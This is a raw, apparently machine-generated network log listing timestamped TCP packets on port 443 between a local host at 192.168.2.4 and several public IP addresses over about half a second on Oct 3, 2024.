Oct 3, 2024 10:41:48.433314085 CEST	50053	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:48.434513092 CEST	50053	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:48.434537888 CEST	443	50053	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:48.442522049 CEST	443	50048	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:48.442615986 CEST	443	50048	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:48.442805052 CEST	50048	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:48.444494963 CEST	50048	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:48.444515944 CEST	443	50048	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:48.459810019 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.459819078 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.459925890 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.459942102 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.460247993 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.460258007 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.460311890 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.460319996 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.460733891 CEST	443	50056	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.461042881 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.461077929 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.461112976 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.461122036 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.461133957 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.461951017 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.462013006 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.462019920 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.462069035 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.462162971 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.462214947 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.468534946 CEST	50056	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.468555927 CEST	443	50056	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.469392061 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.469583035 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.469671011 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.469752073 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.469763041 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.469800949 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.469819069 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.469847918 CEST	443	50056	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.469907045 CEST	50056	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.470089912 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.470109940 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.471281052 CEST	50056	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.471383095 CEST	443	50056	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.472156048 CEST	50056	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.472167969 CEST	443	50056	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.475147009 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.475207090 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.475234985 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.480854988 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.480940104 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.481100082 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.481126070 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.481462002 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.486551046 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.492726088 CEST	50071	443	192.168.2.4	37.252.171.52
Oct 3, 2024 10:41:48.492759943 CEST	443	50071	37.252.171.52	192.168.2.4
Oct 3, 2024 10:41:48.492868900 CEST	50071	443	192.168.2.4	37.252.171.52
Oct 3, 2024 10:41:48.493196011 CEST	50071	443	192.168.2.4	37.252.171.52
Oct 3, 2024 10:41:48.493205070 CEST	443	50071	37.252.171.52	192.168.2.4
Oct 3, 2024 10:41:48.522466898 CEST	443	50057	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.522711039 CEST	50057	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.522717953 CEST	443	50057	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.523056030 CEST	443	50057	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.523502111 CEST	50057	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.523570061 CEST	443	50057	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.523649931 CEST	50057	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.530246019 CEST	443	50058	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.530483007 CEST	50058	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.530502081 CEST	443	50058	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.531642914 CEST	443	50058	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.533178091 CEST	50058	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.533395052 CEST	443	50058	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.533695936 CEST	50058	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.549343109 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.549371958 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.558793068 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.558876991 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.558890104 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.558916092 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.559137106 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.559153080 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.559672117 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.559905052 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.559926033 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.560885906 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.560941935 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.560964108 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.561047077 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.561105013 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.561114073 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.561616898 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.561666012 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.561680079 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.563528061 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.563643932 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.563695908 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.563719988 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.563808918 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.563858986 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.563868999 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.564109087 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.565303087 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.569458961 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.569540977 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.569638014 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.569668055 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.569710970 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.571398973 CEST	443	50057	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.575144053 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.575297117 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.575362921 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.575375080 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.575429916 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.575488091 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.579400063 CEST	443	50058	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.626003027 CEST	443	50064	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.626827002 CEST	50064	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.626854897 CEST	443	50064	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.628376961 CEST	443	50064	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.629419088 CEST	50056	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.630722046 CEST	50064	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.630811930 CEST	443	50064	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.631020069 CEST	50064	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.646470070 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.646661997 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.646730900 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.646753073 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.646780968 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.646840096 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.646872997 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.647104979 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.647156954 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.647366047 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.647397041 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.649324894 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.649394035 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.649405956 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.649415970 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.649462938 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.649465084 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.649473906 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.649507999 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.649513960 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.649518967 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.649537086 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.649555922 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.649560928 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.649605989 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.653609037 CEST	443	50061	18.66.122.74	192.168.2.4
Oct 3, 2024 10:41:48.653896093 CEST	50061	443	192.168.2.4	18.66.122.74
Oct 3, 2024 10:41:48.653919935 CEST	443	50061	18.66.122.74	192.168.2.4
Oct 3, 2024 10:41:48.655368090 CEST	443	50061	18.66.122.74	192.168.2.4
Oct 3, 2024 10:41:48.655433893 CEST	50061	443	192.168.2.4	18.66.122.74
Oct 3, 2024 10:41:48.656348944 CEST	50061	443	192.168.2.4	18.66.122.74
Oct 3, 2024 10:41:48.656434059 CEST	443	50061	18.66.122.74	192.168.2.4
Oct 3, 2024 10:41:48.656620026 CEST	50061	443	192.168.2.4	18.66.122.74
Oct 3, 2024 10:41:48.656629086 CEST	443	50061	18.66.122.74	192.168.2.4
Oct 3, 2024 10:41:48.659681082 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.659754992 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.659790039 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.659796953 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.659837961 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.666987896 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.667047024 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.667064905 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.667073965 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.667118073 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.671425104 CEST	443	50064	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.674123049 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.674285889 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.674293995 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.676220894 CEST	443	50063	13.35.58.58	192.168.2.4
Oct 3, 2024 10:41:48.676631927 CEST	50063	443	192.168.2.4	13.35.58.58
Oct 3, 2024 10:41:48.676656961 CEST	443	50063	13.35.58.58	192.168.2.4
Oct 3, 2024 10:41:48.677702904 CEST	443	50063	13.35.58.58	192.168.2.4
Oct 3, 2024 10:41:48.677772045 CEST	50063	443	192.168.2.4	13.35.58.58
Oct 3, 2024 10:41:48.680067062 CEST	50063	443	192.168.2.4	13.35.58.58
Oct 3, 2024 10:41:48.680128098 CEST	443	50063	13.35.58.58	192.168.2.4
Oct 3, 2024 10:41:48.680404902 CEST	50063	443	192.168.2.4	13.35.58.58
Oct 3, 2024 10:41:48.680411100 CEST	443	50063	13.35.58.58	192.168.2.4
Oct 3, 2024 10:41:48.731404066 CEST	443	50057	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.731487036 CEST	50057	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.736516953 CEST	443	50064	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.737411022 CEST	443	50064	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.737632990 CEST	50064	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.737745047 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.738053083 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.738073111 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.738416910 CEST	50064	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.738440990 CEST	443	50064	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.741425037 CEST	50061	443	192.168.2.4	18.66.122.74
Oct 3, 2024 10:41:48.741425037 CEST	50063	443	192.168.2.4	13.35.58.58
Oct 3, 2024 10:41:48.750819921 CEST	443	50056	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.750912905 CEST	443	50056	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.751493931 CEST	50056	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.751682043 CEST	50056	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.751699924 CEST	443	50056	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.752877951 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.752919912 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.752981901 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.753007889 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.754062891 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.756350040 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.756457090 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.756470919 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.763855934 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.763889074 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.763955116 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.763983965 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.764051914 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.770996094 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.771078110 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.771145105 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.771168947 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.771342039 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.778405905 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.778451920 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.778724909 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.778737068 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.785572052 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.785635948 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.785713911 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.785723925 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.785852909 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.790365934 CEST	443	50060	34.251.198.143	192.168.2.4
Oct 3, 2024 10:41:48.798640966 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.799989939 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.800020933 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.800101042 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.800127029 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.800142050 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.806862116 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.806895018 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.806977034 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.806988001 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.807101011 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.812136889 CEST	50060	443	192.168.2.4	34.251.198.143
Oct 3, 2024 10:41:48.812160969 CEST	443	50060	34.251.198.143	192.168.2.4
Oct 3, 2024 10:41:48.813324928 CEST	443	50060	34.251.198.143	192.168.2.4
Oct 3, 2024 10:41:48.813426971 CEST	50060	443	192.168.2.4	34.251.198.143
Oct 3, 2024 10:41:48.813539982 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.813574076 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.813613892 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.813621044 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.817511082 CEST	443	50057	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.817589045 CEST	443	50057	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.818053007 CEST	50057	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.820103884 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.820194960 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.820195913 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.820203066 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.820245981 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.823549032 CEST	50060	443	192.168.2.4	34.251.198.143
Oct 3, 2024 10:41:48.823681116 CEST	443	50060	34.251.198.143	192.168.2.4
Oct 3, 2024 10:41:48.824636936 CEST	443	50058	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.824801922 CEST	443	50058	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.824847937 CEST	50058	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.825242996 CEST	50072	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.825278997 CEST	443	50072	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.825416088 CEST	50057	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.825416088 CEST	50072	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.825429916 CEST	443	50057	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.826802015 CEST	50072	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.826819897 CEST	443	50072	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.827203989 CEST	50060	443	192.168.2.4	34.251.198.143
Oct 3, 2024 10:41:48.827219963 CEST	443	50060	34.251.198.143	192.168.2.4
Oct 3, 2024 10:41:48.827378988 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.827440977 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.827447891 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.829555988 CEST	50073	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.829581976 CEST	443	50073	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.829720974 CEST	50073	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.829895020 CEST	50058	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.829904079 CEST	443	50058	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.830482006 CEST	50073	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.830495119 CEST	443	50073	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.831712008 CEST	50074	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.831731081 CEST	443	50074	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.831794977 CEST	50074	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.832015991 CEST	50074	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.832027912 CEST	443	50074	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.833492994 CEST	50075	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.833517075 CEST	443	50075	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.833900928 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.833940029 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.833995104 CEST	50075	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.834054947 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.834072113 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.834213018 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.834278107 CEST	50075	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.834283113 CEST	443	50075	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.841476917 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.841514111 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.841547012 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.841562033 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.841686964 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.843247890 CEST	443	50067	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.843501091 CEST	50067	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.843508005 CEST	443	50067	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.844595909 CEST	443	50067	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.845040083 CEST	50067	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.845208883 CEST	443	50067	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.845237017 CEST	50067	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.856888056 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.856924057 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.857136011 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.857161045 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.860125065 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.860163927 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.860217094 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.860234022 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.860280991 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.867144108 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.867238998 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.867264032 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.873296022 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.873328924 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.873366117 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.873394966 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.873620987 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.879550934 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.879580975 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.879612923 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.879637003 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.879749060 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.885204077 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.885262966 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.885555029 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.885566950 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.887397051 CEST	443	50067	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.890316010 CEST	443	50068	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.890448093 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.890495062 CEST	443	50054	157.240.0.6	192.168.2.4
